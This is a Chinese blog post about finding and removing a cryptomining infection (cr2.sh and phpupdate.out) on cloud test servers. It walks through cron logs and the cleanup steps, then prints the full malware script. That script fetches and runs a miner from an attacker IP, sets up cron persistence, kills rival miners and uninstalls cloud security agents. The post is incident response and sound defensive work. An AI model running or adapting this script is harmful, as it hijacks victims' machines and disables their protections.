cr2.sh和phpupdate.out挖矿程序处理

缺乏、安全感 2023-02-23 12:28 17阅读 0赞

已经有很长一段没有处理阿里云的预警问题了，最近同事因个人事务请假，我接手了他的任务，还好这几台都是测试机器....

![2020070718003241.png][]

阿里预警：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1][]

--------------------

1. 确定文件路径：

[test@test /]$ sudo find / -name *phpupdate*
    find: ‘/proc/21471’: No such file or directory
    /data2/hadoop/tmp/nm-local-dir/usercache/devops/appcache/application_1588995900644_0004/container_1588995900644_0004_04_000001/phpupdate.out
    /home/test/phpupdate.out

2， 查找恶意文件

[test @test /]$ cd /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/container_1588995900644_0004_04_000001/
    [test @test container_1588995900644_0004_04_000001]$ ls
    container_tokens  cr2.sh  flink-conf.yaml  flink.jar  launch_container.sh  lib  log4j.properties  logback.xml  phpupdate.out  plugins  tmp
    [test @test container_1588995900644_0004_04_000001]$ ll -lt
    total 2564
    -rwxrwxrwx 1 test test 2572556 Jul  1 03:08 phpupdate.out
    -rw-r----- 1 test test 2405 Jul  1 02:59 cr2.sh
    lrwxrwxrwx 1 test test 112 Jun 11 15:05 logback.xml -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/12/logback.xml
    drwxr-s--- 2 test test 4096 Jun 11 15:05 lib
    lrwxrwxrwx 1 test test 170 Jun 11 15:05 flink-conf.yaml -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/11/application_1588995900644_0004-flink-conf.yaml1369140843671417039.tmp
    lrwxrwxrwx 1 test test 117 Jun 11 15:05 log4j.properties -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/21/log4j.properties
    drwxr-s--- 2 test test 4096 Jun 11 15:05 plugins
    lrwxrwxrwx 1 test test 126 Jun 11 15:05 flink.jar -> /data2/hadoop/tmp/nm-local-dir/usercache/test/appcache/application_1588995900644_0004/filecache/16/flink-dist_2.12-1.9.1.jar
    -rw------- 1 test  test 69 Jun 11 15:05 container_tokens
    -rwx------ 1 test  test    9446 Jun 11 15:05 launch_container.sh
    drwxr-s--- 2 test  test 4096 Jun 11 15:05 tmp

![20200708104848746.png][]

3. 上面已经知道相关的恶意文件，在什么地方了，现在再看一下log情况：

Jul  5 03:44:01 test CROND[3022]: (test) CMD (wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1)
    Jul  5 03:44:15 test crontab[3061]: (test) LIST (test)
    Jul  5 03:44:15 test crontab[3063]: (test) REPLACE (test)
    Jul  5 03:44:15 test crontab[3064]: (test) LIST (test)
    Jul  5 03:45:01 test crond[1080]: (test) RELOAD (/var/spool/cron/test)
    Jul  5 03:45:01 test CROND[3355]: (test) CMD (wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1)
    Jul  5 03:45:15 test crontab[3416]: (test) LIST (test)
    Jul  5 03:45:15 test crontab[3418]: (test) REPLACE (test)
    Jul  5 03:45:15 test crontab[3419]: (test) LIST (test)
    Jul  5 03:46:01 test crond[1080]: (test) RELOAD (/var/spool/cron/test)
    Jul  5 03:46:01 test CROND[3697]: (test) CMD (wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1)
    Jul  5 03:46:15 test crontab[3737]: (test) LIST (test)
    Jul  5 03:46:15 test crontab[3739]: (test) REPLACE (test)
    Jul  5 03:46:15 test crontab[3740]: (test) LIST (test)

看到上面有定时程序

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2][]

4. 查看定时程序，如果不把定时程序干掉，即时将上面cr2.sh和phpupdate相关的进程干掉，还是会起来。

5. 查看定时程序：crondtab -l

[test @test /]$ crontab -l 
    * * * * * wget -q -O - http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1

6. 修改定时程序： crontab -e，删掉上面的定时程序。

7. 然后 ps -ef | grep CROND / ps -ef | grep cr2.sh / ps -ef | grep phpupdate.out, 将这些列出来的进程用kill -9全部删掉

8. 删除所有相关的文件夹和文件 （rm -rf /var/spool/cron 和上面检索出来的文件夹）

9. 上面操作全部结束后，再确认一下

[test@test log]# cd /var/spool
    [test@test spool]# ls
    anacron  at  cron  lpd  mail  plymouth  postfix
    [test@test spool]# cd cron
    [test@test cron]# ls
    [test@test cron]# pwd
    /var/spool/cron
    [test@test cron]# cd /
    [test@test  /]# find / -name cr2.sh
    [test@test /]# find / -name phpupdate.out
    [test@test /]#

10. 修改账号密码，重启系统

11. 再次确认进程和文件是否存在。我这边处理完了以后就没有了。

12. 同时将外连的ip地址设置成了黑名单，以及网络做了进一步的访问控制。

--------------------

附带一下这次的挖矿程序cr2.sh

#!/bin/sh
    pkill -f cryptonight
    pkill -f sustes
    pkill -f xmrig
    pkill -f xmr-stak
    pkill -f suppoie
    pkill -f zer0day.ru
    
    CRTDIR=$(pwd)
    WGET="wget -O"
    if [ -s /usr/bin/curl ];
            then WGET="curl -o";
    fi;
    if [ -s /usr/bin/wget ];
            then WGET="wget -O";
    fi
    if [ ! "$(ps -fe|grep '$CRTDIR/phpupdate.out -c $CRTDIR/config.json' |grep -v grep)" ]; then
            f1=$(curl 144.202.124.247)
            if [ -z "$f1" ];
                    then f1=$(wget -q -O - 144.202.124.247)
            fi
    
            f2="144.202.124.247"
            if [ `getconf LONG_BIT` = "64" ]
                    then
                    $WGET $CRTDIR/phpupdate.out http://$f2/phpupdate
            else
                    $WGET $CRTDIR/phpupdate.out http://$f2/phpupdate
            fi
    
            chmod +x $CRTDIR/phpupdate.out
            chmod 777 $CRTDIR/phpupdate.out
            $WGET $CRTDIR/config.json http://$f2/config.json
            sleep 5
            nohup $CRTDIR/phpupdate.out -c $CRTDIR/config.json >/dev/null 2>&1 &
            sleep 5
            rm -rf $CRTDIR/config.json
            rm -f $CRTDIR/phpupdate
            
    fi
    pkill -f logo9.jpg
    crontab -l | sed '/logo9/d' | crontab -
    
    if crontab -l | grep -q "144.202.124.247"
    then
        echo "Cron exists"
    else
        echo "Cron not found"
        LDR="wget -q -O -"
        if [ -s /usr/bin/curl ];
        then
            LDR="curl";
        fi
        if [ -s /usr/bin/wget ];
        then
            LDR="wget -q -O -";
        fi
      (crontab -l 2>/dev/null; echo "* * * * * $LDR http://144.202.124.247/cr2.sh | sh > /dev/null 2>&1")| crontab -
    fi
    
    if ps aux | grep -i '[a]liyun'; then
     LDR="wget -q -O -"
     if [ -s /usr/bin/curl ];
        then
            LDR="curl";
        fi
        if [ -s /usr/bin/wget ];
        then
            LDR="wget -q -O -";
        fi	
      $LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash
      $LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      $LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash
      $LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      pkill aliyun-service
      rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
      rm -rf /usr/local/aegis*
      systemctl stop aliyun.service
      systemctl disable aliyun.service
      service bcm-agent stop
      yum remove bcm-agent -y
      apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
      /usr/local/qcloud/stargate/admin/uninstall.sh
      /usr/local/qcloud/YunJing/uninst.sh
      /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi

ip地址：

![2020070811070950.png][]

[2020070718003241.png]: https://img-blog.csdnimg.cn/2020070718003241.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200708102745991.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200708102936277.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx,size_16,color_FFFFFF,t_70
[20200708104848746.png]: https://img-blog.csdnimg.cn/20200708104848746.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200708111025248.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx,size_16,color_FFFFFF,t_70
[2020070811070950.png]: https://img-blog.csdnimg.cn/2020070811070950.png